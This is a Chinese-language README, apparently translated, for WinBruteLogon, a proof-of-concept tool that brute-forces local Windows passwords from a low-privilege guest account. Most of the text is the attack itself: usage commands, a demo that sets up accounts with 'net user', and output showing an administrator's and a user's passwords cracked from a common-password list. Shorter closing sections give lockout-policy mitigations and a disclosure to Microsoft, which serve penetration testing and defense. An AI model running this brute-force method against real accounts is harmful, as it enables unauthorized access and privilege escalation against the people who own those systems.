注意1:我们激动地宣布,当前工具已移植到PowerShell版本。这意味着用户现在可以直接从PowerShell命令行访问并使用该工具,使其使用更加便捷高效。我们相信这一新版本将极大惠及用户,并提升使用体验。感谢您一直以来的支持,希望您喜欢新的PowerShell版本:https://github.com/DarkCoderSc/power-brute-logon
注意2:我们最近得知,微软已在现代和最新版本的Windows中默认启用了帐户锁定策略。该策略通过在一定次数的登录失败后锁定帐户来保护系统安全。虽然这是一项有益的安防措施,但它使得此概念验证(PoC)在这些系统上的效率降低。
发布日期:2020-05-14
目标:Windows XP 至最新 Windows 10 版本(1909)

弱点位置:LogonUserA、LogonUserW、CreateProcessWithLogonA、CreateProcessWithLogonW
WinBruteLogon.exe -u <用户名> -w <单词列表文件>
type <单词列表文件> | WinBruteLogon.exe -u <用户名> -
Win Brute Logon 旨在通过短时间内猜测大量密码组合,模拟对微软帐户的暴力破解攻击。这使渗透测试人员能够测试其系统的安全状况,评估其对暴力破解攻击的防御能力。该工具利用了帐户锁定机制缺失这一常见弱点(在 Windows 11 默认启用帐户锁定之前)。通过尝试猜测帐户密码,该工具可帮助渗透测试人员发现并解决其安全措施中的漏洞。使用时必须遵守法律并承担相应责任。
在本演示中,我们将在虚拟机或物理机上安装全新版本的 Windows 10。设置完成后,以管理员身份登录。然后创建两个不同的本地帐户:一个管理员帐户和一个普通用户帐户。请注意,虽然本演示使用来宾帐户,但此概念验证(PoC)并不局限于来宾帐户,可以从任何帐户或组(包括来宾、普通用户和管理员用户)使用。
net user darkcodersc /add
net user darkcodersc trousers(trousers 是密码)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm(ozlq6qwm 是密码)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
我的例子中,trousers 和 ozlq6qwm 都存在于 SecList 中:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
为开始演示,请从管理员帐户注销或重启机器,然后登录到来宾帐户。接着,将 PoC 可执行文件放在来宾用户有权访问的位置。
用法:WinBruteLogon.exe -v -u <用户名> -w <单词列表文件>
-v 为可选参数,表示详细模式。
默认情况下,域名由 %USERDOMAIN% 环境变量指定。可以使用 -d 选项指定自定义名称。
darkcodersc(管理员)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
等待几秒即可看到如下结果:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe(普通用户)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
等待几秒即可看到如下结果:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"在真实世界中,如果攻击者获得了一个低权限用户帐户,他们可能能够破解更高权限用户的密码并提升权限。为降低此风险,可采取以下步骤:
要实施安全锁定策略(默认未启用),请执行以下步骤:
请注意,锁定策略不适用于管理员帐户。在这种情况下,对管理员帐户(如果启用)的最佳保护是设置一个非常复杂的密码。
一份关于此弱点的报告已发送至微软安全团队。他们应考虑默认启用帐户锁定策略。"
(2022 年更新):帐户锁定终于默认启用。